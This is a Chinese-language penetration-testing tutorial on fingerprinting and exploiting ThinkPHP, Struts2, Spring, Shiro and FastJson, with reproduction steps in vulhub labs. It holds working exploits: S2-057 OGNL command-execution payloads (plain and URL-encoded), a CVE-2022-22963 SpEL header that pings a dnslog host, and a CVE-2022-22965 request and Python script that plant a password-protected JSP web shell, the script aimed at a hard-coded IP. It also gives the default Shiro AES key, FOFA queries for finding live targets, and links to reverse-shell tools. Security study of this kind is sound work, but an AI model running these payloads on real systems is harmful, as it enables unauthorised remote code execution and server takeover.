一.什么是框架
Web框架(Web framework)或者叫做Web应用框架(Web application framework),是用于进行Web开发的一套软件架构。大多数的Web框架提供了一套开发和部署网站的方式。为Web的行为提供了一套支持的方法。web框架已经实现了很多功能,开发人员使用框架提供的方法并且完成自己的业务逻辑,就能快速开发web应用了,而其余使用框架已有的功能就可以。如图片验证码 , 数据库交互语句等。
代码框架、软件框架 它将部分功能逻辑已经编写好了
cms ----> 内容信息管理系统
框架 ----> 代码框架
自己开发的站点
二.Thinkphp
1.Thinkphp框架介绍
ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生得,是一个快速得、兼容而且简单得轻量级国产PHP开发框架。
ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的,是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。
采用php+apache,在更新迭代中,thinkphp也经常爆出各种漏洞,thinkphp一般有 thinkphp2、thinkphp3、thinkphp5、thinkphp6 版本,前两个版本已经停止更新,主要介绍下thinkphp5的漏洞。
2.识别Thinkphp
1.使用指纹识别插件 Wappalyzer
2.通过构建报错的url , 根据报错信息判断
4.根据tp的默认icon
5.路由格式
....
/index/app/sd/name/id/1
三.Struts2
1.Struts2框架介绍
Apache Struts2 是一个基于 MVC 设计模式的 JavaWeb 应用框架。在 MVC 设计模式中,Struts2 作为控制器(Controller)来建立模型与视图的数据交互。Struts2 是在 Struts 和WebWork 的技术的基础上进行合并的全新的框架。Struts2 以 WebWork 为核心,采用拦截器的机制来处理的请求。
MVC:模型(Model)、视图(View)、控制器(Controller):
模型 --- 属于软件设计模式的底层基础,主要负责数据维护。
视图 --- 这部分是负责向⽤⼾呈现全部或部分数据。
控制器 --- 通过软件代码控制模型和视图之间的交互。
2.识别Struts2框架
1.通过网页后缀来判断,如 .do .action
2.判断 /struts/webconsole.html 是否存在来进行判断,需要 devMode 为 true。
3.通过 actionErrors。
如URL检测所用的 URL为https://xxxx.com/?actionErrors=1111;
如果返回的页面出现异常,则可以认定为目标是基于 Struts2 构建的。异常包括但不限于以下几种现象:
页面直接出现 404 或者 500 等错误。
页面上输出了与业务有关错误消息,或者 1111 被回显到了页面上。
页面的内容结构发生了明显的改变。
页面发生了重定向。
Struts2 RCE
Struts 2 在2007年7月23日发布的第一个Struts 2漏洞S2-001 , 到现在已经到披露到 s2-062
不同的Struts 2 版本对应的payload是不同的
3.S2-057远程代码执行
(1)漏洞原理
S2-057漏洞产生于网站配置xml的时候,有一个namespace的值,该值并没有做详细的安全过滤导致可以写入到XML上,尤其url标签值也没有做通配符的过滤,导致可以执行远程代码,以及系统命令执行。
//S2-057 先决条件:
alwaysSelectFullNamespace值为true,action 元素未设置 namespace 属性,或使用了通配符用户将从 uri 传递命名空间,并将其解析为 OGNL 表达式,最终导致远程代码执行漏洞
(2)OGNL表达式补充
//OGNL表达式
OGNL(Object-Graph Navigation Language的简称),struts框架使用OGNL作为默认的表达式语言。
它是一种功能强大的表达式语言,通过它简单一致的表达式语法,可以存取对象的任意属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能。
···
ongl表达式可以方便struts框架对对象方法、属性调用
OGNL是通常需要结合Struts 2的标志一起使用的,主要是#、%、$ 这三个符号的使用:
#:获得contest中的数据;
%:强制字符串解析成OGNL表达式;
$:在配置文件中可以使用OGNL表达式。
(3)影响版本
Struts2 <= 2.3.34
Struts2 = 2.5.16
(4)漏洞复现
cd /vulhub/struts2/s2-057
docker-compose up -d
环境启动后,访问 http://your-ip:8080/showcase/ ,即可看到Struts2的测试页面。
POC
首先测试OGNL表达式:${233*233}
http://ip:8080/showcase/${(123+123)}/actionChain1.action
可以看到中间数字位置相加了,说明我们中间的表达式正确的执行了,那么我们可以构建可以执行系统命令的表达式进行rce。
EXP
${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
将上述例子中的OGNL表达式转化为url编码
%24%7b%28%23%64%6d%3d%40%6f%67%6e%6c%2e%4f%67%6e%6c%43%6f%6e%74%65%78%74%40%44%45%46%41%55%4c%54%5f%4d%45%4d%42%45%52%5f%41%43%43%45%53%53%29%2e%28%23%63%74%3d%23%72%65%71%75%65%73%74%5b%27%73%74%72%75%74%73%2e%76%61%6c%75%65%53%74%61%63%6b%27%5d%2e%63%6f%6e%74%65%78%74%29%2e%28%23%63%72%3d%23%63%74%5b%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%2e%63%6f%6e%74%61%69%6e%65%72%27%5d%29%2e%28%23%6f%75%3d%23%63%72%2e%67%65%74%49%6e%73%74%61%6e%63%65%28%40%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%6f%67%6e%6c%2e%4f%67%6e%6c%55%74%69%6c%40%63%6c%61%73%73%29%29%2e%28%23%6f%75%2e%67%65%74%45%78%63%6c%75%64%65%64%50%61%63%6b%61%67%65%4e%61%6d%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%6f%75%2e%67%65%74%45%78%63%6c%75%64%65%64%43%6c%61%73%73%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%63%74%2e%73%65%74%4d%65%6d%62%65%72%41%63%63%65%73%73%28%23%64%6d%29%29%2e%28%23%61%3d%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%69%64%27%29%29%2e%28%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%74%6f%53%74%72%69%6e%67%28%23%61%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29%7d
$%7b%28%23%64%6d%3d%40%6f%67%6e%6c%2e%4f%67%6e%6c%43%6f%6e%74%65%78%74%40%44%45%46%41%55%4c%54%5f%4d%45%4d%42%45%52%5f%41%43%43%45%53%53%29%2e%28%23%63%74%3d%23%72%65%71%75%65%73%74%5b%27%73%74%72%75%74%73%2e%76%61%6c%75%65%53%74%61%63%6b%27%5d%2e%63%6f%6e%74%65%78%74%29%2e%28%23%63%72%3d%23%63%74%5b%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%2e%63%6f%6e%74%61%69%6e%65%72%27%5d%29%2e%28%23%6f%75%3d%23%63%72%2e%67%65%74%49%6e%73%74%61%6e%63%65%28%40%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%6f%67%6e%6c%2e%4f%67%6e%6c%55%74%69%6c%40%63%6c%61%73%73%29%29%2e%28%23%6f%75%2e%67%65%74%45%78%63%6c%75%64%65%64%50%61%63%6b%61%67%65%4e%61%6d%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%6f%75%2e%67%65%74%45%78%63%6c%75%64%65%64%43%6c%61%73%73%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%63%74%2e%73%65%74%4d%65%6d%62%65%72%41%63%63%65%73%73%28%23%64%6d%29%29%2e%28%23%61%3d%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%69%64%27%29%29%2e%28%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%74%6f%53%74%72%69%6e%67%28%23%61%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29%7d
即可在响应包的location处看到执行的命令结果
(5)综合工具利用
网站S2系列漏洞很多,如果全部记下所有POC和EXP非常不容易,而且实战中效率很低,这是时候我们可以采用 综合利用工具,对当前网站测试所有s2的漏洞。
Struts 2_v18.09.jar
Burp被动检测插件 https://github.com/x1a0t/Struts2Burp
FOFA语句:app="struts2"
更多利用方式可以参考:
https://www.freebuf.com/vuls/283821.html
https://cwiki.apache.org/confluence/display/WW/Security+Bulletins
四.Spring
1.Spring框架介绍
Spring是Java EE编程领域的一个轻量级开源框架,该框架由一个叫Rod Johnson的程序员在2002年最早提出并随后创建,是为了解决企业级编程开发中的复杂性,业务逻辑层和其他各层的松耦合问题,因此它将面向接口的编程思想贯穿整个系统应用,实现敏捷开发的应用型框架。框架的主要优势之一就是其分层架构,分层架构允许使用者选择使用哪一个组件,同时为J2EE应用程序开发提供集成的框架。
2009年9月Spring 3.0 RC1发布后,Spring就引入了 SpEL (Spring Expression Language) 。类比Struts2框架,会发现绝大部分的安全漏洞都和OGNL脱不了干系。尤其是远程命令执行漏洞,这导致Struts2越来越不受待见。
因此,Spring引入SpEL必然增加安全风险。事实上,过去多个Spring CVE都与其相关,如 CVE-2017-8039、CVE-2017-4971、CVE-2016-5007、CVE-2016-4977 等
(1)SpEl是什么
SpEL(Spring Expression Language)是基于spring的一个表达式语言,类似于struts的OGNL,能够在运行时动态执行一些运算甚至一些指令,类似于Java的反射功能。就使用方法上来看,一共分为三类,分别是直接在注解中使用,在XML文件中使用和直接在代码块中使用。
(2)SpEl原理
1.表达式:可以认为就是传⼊的字符串内容;spel{xxxxxxxxxxxxxxx}
2.解析器︰将字符串解析为表达式内容;
3.上下⽂:表达式对象执⾏的环境;
4.根对象和活动上下⽂对象∶根对象是默认的活动上下⽂对象,活动上下⽂对象表⽰了当前表达式操作的对象。
2.识别Spring框架
icon是小树叶
默认报错页面
......
识别插件
spring 框架还是很流行的框架的,很多甲方的网站建设都有使用到该框架进行搭建,日常渗透也能经常见到。
3.Spring SpEL表达式命令注入
Cloud Function SpEL表达式命令注入CVE-2022-22963
(1)Spring Cloud Function介绍
Spring Cloud Function是基于Spring Boot 的函数计算框架,它抽象出所有传输细节和基础架构,允许开发人员保留所有熟悉的工具和流程,并专注于业务逻辑。
(2)漏洞原理
由于Spring Cloud Function中RoutingFunction类的apply方法将请求头中
的“spring.cloud.function.routing-expression”参数作为Spel表达式进行处理,造成了Spel表达式注入漏洞,未经授权的远程攻击者可利用该漏洞执行任意代码
(3)影响版本
3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2
(4)漏洞复现
cd vulhub-master/spring/CVE-2022-22963
docker-compose up -d
POC
发送如下数据包,spring.cloud.function.routing-expression 头中包含的SpEL表达式将会被执行:
POST /functionRouter HTTP/1.1
Host: ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/97.0.4692.71 Safari/537.36
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("ping **.dnslog.cn")
Content-Type: text/plain
Content-Length: 4
test
反弹Shell脚本: https://github.com/sv3nbeast/Spring-cloud-function-SpEL-RCE-1
4.Spring Framework RCE漏洞
CVE-2022-22965
(1)漏洞介绍
Spring Framework 是一个开源应用框架,初衷是为了降低应用程序开发的复杂度,具有分层体系结构,允许用户选择组件,同时还为 J2EE 应用程序开发提供了一个好用的框架。当 Spring 部署在 JDK9 及以上版本,远程攻击者可利用该漏洞写入恶意代码导致远程代码执行。
(2)影响版本
运行环境为JDK9及以上版本的:
Spring Framework 5.3.0 -5.3.17
Spring Framework 5.2.0 - 5.2.19
(3)漏洞复现
漏洞环境搭建
cd /vulhub/spring/CVE-2022-22965
docker-compose up -d
EXP
访问网页并且进行抓包,其内容的简单目的是写入恶意代码到webapps/ROOT目录下的fuck.jsp文件中,在访问该文件的时候,需要验证密码pwd之后才能够执行需要执行的命令cmd。(PS:每次写完shell会有缓存,因此payload没打成功请重启)
/?
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22fuck%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20=%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream();%20int%20a%20=%20-1;%20byte%5B%5D%20b%20=%20new%20byte%5B2048%5D;%20while((a=in.read(b))!=-1)%7B%20out.println(new%20String(b));%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuck&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
将抓到的包中加入
suffix: %>//
c1: Runtime
c2: <%
完成后访问网页 http://ip:8080/fuck.jsp?pwd=fuck&cmd=id ,发现成功执行了命令。
(4)利用脚本
pip3 install requests
python3 -m pip install requests
import requests
headers={
"suffix": "%>//",
"c1": "Runtime",
"c2": "<%"
}
payload1='/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i
if("fuck".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %
{suffix}i&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuck&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat='
ip="http://154.204.56.118:8080" #填写漏洞存在的URL
payload2='/fuck.jsp?pwd=fuck&cmd=id'
try:
U1=requests.get(url=ip+payload1,headers=headers,verify=False,timeout=3)
U2=requests.get(url=ip+payload2,verify=False,timeout=3)
if U2.status_code == 200:
print(f"The VULN CVE-2022-22965 exists, payload is :{payload2.replace('/','')}")
except Exception as e:
print(e)
5.Spring Boot Actuator未授权
(1)漏洞介绍
Actuator是Spring Boot提供的服务监控和管理中间件,默认配置会出现接口未授权访问,部分接口会泄露数据库账号密码、网站流量信息和内存信息等。
(2)漏洞复现
工具检索敏感信息: https://github.com/dioos886/heapdump_tool
访问heapdump端点获取相关文件
java -jar heapdump_tool.jar ***********.hprof
shiroKey
如目标网站使用Shiro安全框架,在过滤规则输⼊
org.apache.shiro.web.mgt.CookieRememberMeManager 寻找 decryptionCipherKey 字段,可获取key,进而 rememberMe 反序列化利用。
相关漏洞案例: https://blog.csdn.net/qq_44159028/article/details/121823925
(3)其他漏洞
2022-* 漏洞必做
http://m.weizhi.cc/tech/detail-297832.html
https://blog.csdn.net/weixin_51151498/article/details/128577627
6.综合利用工具
spring相关的漏洞很多 , 我们上面复现的漏洞 , 在该工具中没有对应的利用方式 , 使用CVE-2022-22947进行演示
cd vulhub-master/spring/CVE-2022-22947
docker-compose up -d
Spring Cloud Gateway 远程代码执行漏洞(CVE-2022-22947)发生在Spring Cloud Gateway应用程序的Actuator端点,其在启用、公开和不安全的情况下容易受到代码注入的攻击。攻击者可通过该漏洞恶意创建允许在远程主机上执行任意远程执行的请求。
7.实战挖掘
FOFA语句:con_hash="116323821"
五.Shiro
1.Shiro框架介绍
Apache Shiro是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能,Shiro框架直观、易用,同时也能提供健壮的安全性。
2.识别Shiro框架
1. 响应包中存在字段 set-Cookie: rememberMe=deleteMe
2. 请求路径:Shiro使用一套默认的URL路径规则来处理身份验证和授权。通常,Shiro的默认路径规则与标准的JavaWeb应用程序不同。可以检查网站的URL路径是否包含类似/login、/doLogin、/logout、/unauthorized等Shiro相关的默认路径。
3. Cookie名:Shiro框架使用Cookie来管理会话。默认情况下,Shiro会在浏览器中设置一个名为JSESSIONID的Cookie来跟踪用户会话。可以通过查看网站的Cookie是否包含名为JSESSIONID的Cookie来判断是否使用了Shiro。
4. 页面源代码:查看网站的HTML源代码,搜索关键词如Shiro、securityManager、IniRealm等。这些关键词可能在Shiro框架的配置文件或在代码中出现。
3.Shiro-550反序列化漏洞
(1)漏洞原理
Apache Shiro框架提供了记住我的功能(RememberMe),当用户登录,shiro默认使用了
CookieRememberMeManager函数其处理cookie得流程得到rememberMe的值–>Base64解码–>AES解密–>反序列化AES加密的密钥Key被硬编码在代码里,意味着通过源代码都能拿到AES加密的密钥。因此攻击者拿到密钥Key,就可以构造一个恶意的对象,作为cookie的rememberMe字段发送。最终造成反序列化漏洞。
1、检索RememberMe cookie 的值
2、Base64解码
3、使用AES解密(加密密钥硬编码)
4、进行反序列化操作(未作过滤处理)
在调用反序列化时未进行任何过滤,导致可以触发远程代码执行漏洞。
(2)利用条件
获得aes的加密密钥
在shiro的1.2.4之前版本中使用的是硬编码。其默认密钥的base64编码后的值为kPH+bIxk5D2deZiIxcaaaA==,这里就可以通过构造恶意的序列化对象进行编码,加密,然后作为cookie加密发送,服务端接收后会解密并触发反序列化漏洞
只要rememberMe的AES加密秘钥泄露,无论shiro是什么版本都会导致反序列化漏洞。
(3)漏洞复现
4.Shiro-721反序列化漏洞
Shiro721与Shiro550的区别:
1、这两个漏洞主要区别在于Shiro550使用已知密钥碰撞,只要有足够密钥库(条件较低)。
2、Shiro721的ase加密的key基本猜不到,系统随机生成,可使用登录后rememberMe去爆破正确的key值,即利用有效的RememberMe Cookie作为Padding Oracle,加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。
文章https://blog.csdn.net/m0_55793759/article/details/129398462
5.综合漏洞利用工具
(1)burp被动扫描插件
shiroScan
https://github.com/pmiaowu/BurpShiroPassiveScan
(2)shiro综合利用工具
shiro_attack-4.5.3-SNAPSHOT-all.jar
shiro key字典 github 10w+
六.FastJson
1.FastJson介绍
Fastjson是阿里巴巴的开源JSON解析库,可以将Java对象转换为JSON格式(序列化),也可以将JSON字符串转换为Java对象(反序列化)。即Fastjson的主要功能就是将Java对象序列化成JSON字符串,这样得到字符串之后就可以通过数据库等方式进行持久化了。
2.指纹特征
{
"age":25,
"name":"Bob"
}
JSON
根据返回包判断 任意抓个包,提交方式改为POST,花括号不闭合。返回包在就会出现fastjson字样。当然这个可以屏蔽! (fastjson -> com.alibaba.fastjson)
Java站并且传的数据是JSON格式的都可以尝试
Burp插件检测
3.Fastjson 1.2.24漏洞
(1)原理概述
通俗理解 :fastjson在解析json的过程中,使用autoType来实例化某一个具体的类,fastjson在对JSON字符串进行反序列化的时候,就会读取@type的内容,试图把JSON内容反序列化成对象,并且会调用 set/get 方法来访问属性。攻击者可以传入危险类,并调用危险类(com.sun.rowset.JdbcRowSetImpl)连接远程rmi服务器,通过rmi服务器加载恶意类执行代码。
fastjson在解析json的过程中,因为有了==autoType功能,那么fastjson在对JSON字符串进行反序列化的时候,就会读取@type到内容,试图把JSON内容反序列化成这个对象,并且会调用这个类的setter方法。那么就可以利用这个特性,自己构造一个JSON字符串,并且使用@type指定一个自己想要使用的攻击类库。
原理:漏洞利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行修改,增加,删除等操作,对服务器造成巨大影响。
(2)攻击流程图
1. 攻击者发送一个HTTP请求,携带Exp
2. 被攻击服务器发现要输出的信息中有$队,则其中的内容要单独处理,进一步解析是JNDI扩展内容且使
用的是RMi,而后根据RMI服务器地址去请求Exploit。
3. RMI服务器返回Reference对象(用于告诉请求端所请求对象所在的类),而该Reference指定了远端文件
下载服务器上含有恶意代码的class文件。
4. 被攻击服务器通过Reference对象去请求文件下载服务器上的class文件。
5, 被攻击服务器下载恶意class文件并执行其中的恶意代码。
(3)漏洞复现
4.FastJson 1.2.47漏洞
(1)漏洞简述
fastjson 于1.2.24 版本后增加了反序列化白名单。而在2019年6月,fastjson 又被爆出在 fastjson< =1.2.47 的版本中,攻击者可以利用特殊构造的 json 字符串绕过白名单检测,成功执行任意命令
(2)漏洞原理
1.2.47过滤了许多恶意类的上传姿势以及关闭了 autoType ,但可以利用fastjson中有一个全局缓存,当有类进行加载时,如果autoType没开启,会尝试从缓存中获取类,如果缓存中有,则直接返回。所以可以先上传一个带有恶意类的json数据,让它执行并存入缓存这样就可以实现绕过。
简述: 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过
(3)漏洞复现
5.其他内容
(1)区别1.2.24与1.2.47
相比1.2.24,1.2.47过滤了许多恶意类的上传姿势以及关闭了 autoType ,但可以利用fastjson中有一个全局缓存,当有类进行加载时,如果autoType没开启,会尝试从缓存中获取类,如果缓存中有,则直接返回。所以可以先上传一个带有恶意类的json数据,让它执行并存入缓存这样就可以实现绕过。
(2)FastJSON不出⽹利⽤⽅式
1.TemplatesImpl利用连
2.Commons-io 写文件/webshell
3.becl攻击则是利用tomcat的BasicDataSource链
文章: https://xz.aliyun.com/t/12492#toc-2
(3)检测⼯具推荐
BurpFastJsonScan-1.0.8.jar
fastjson_tool.jar
参考文章:
https://blog.csdn.net/weixin_45605352/article/details/119673737
https://www.cnblogs.com/MrNF/p/17588421.html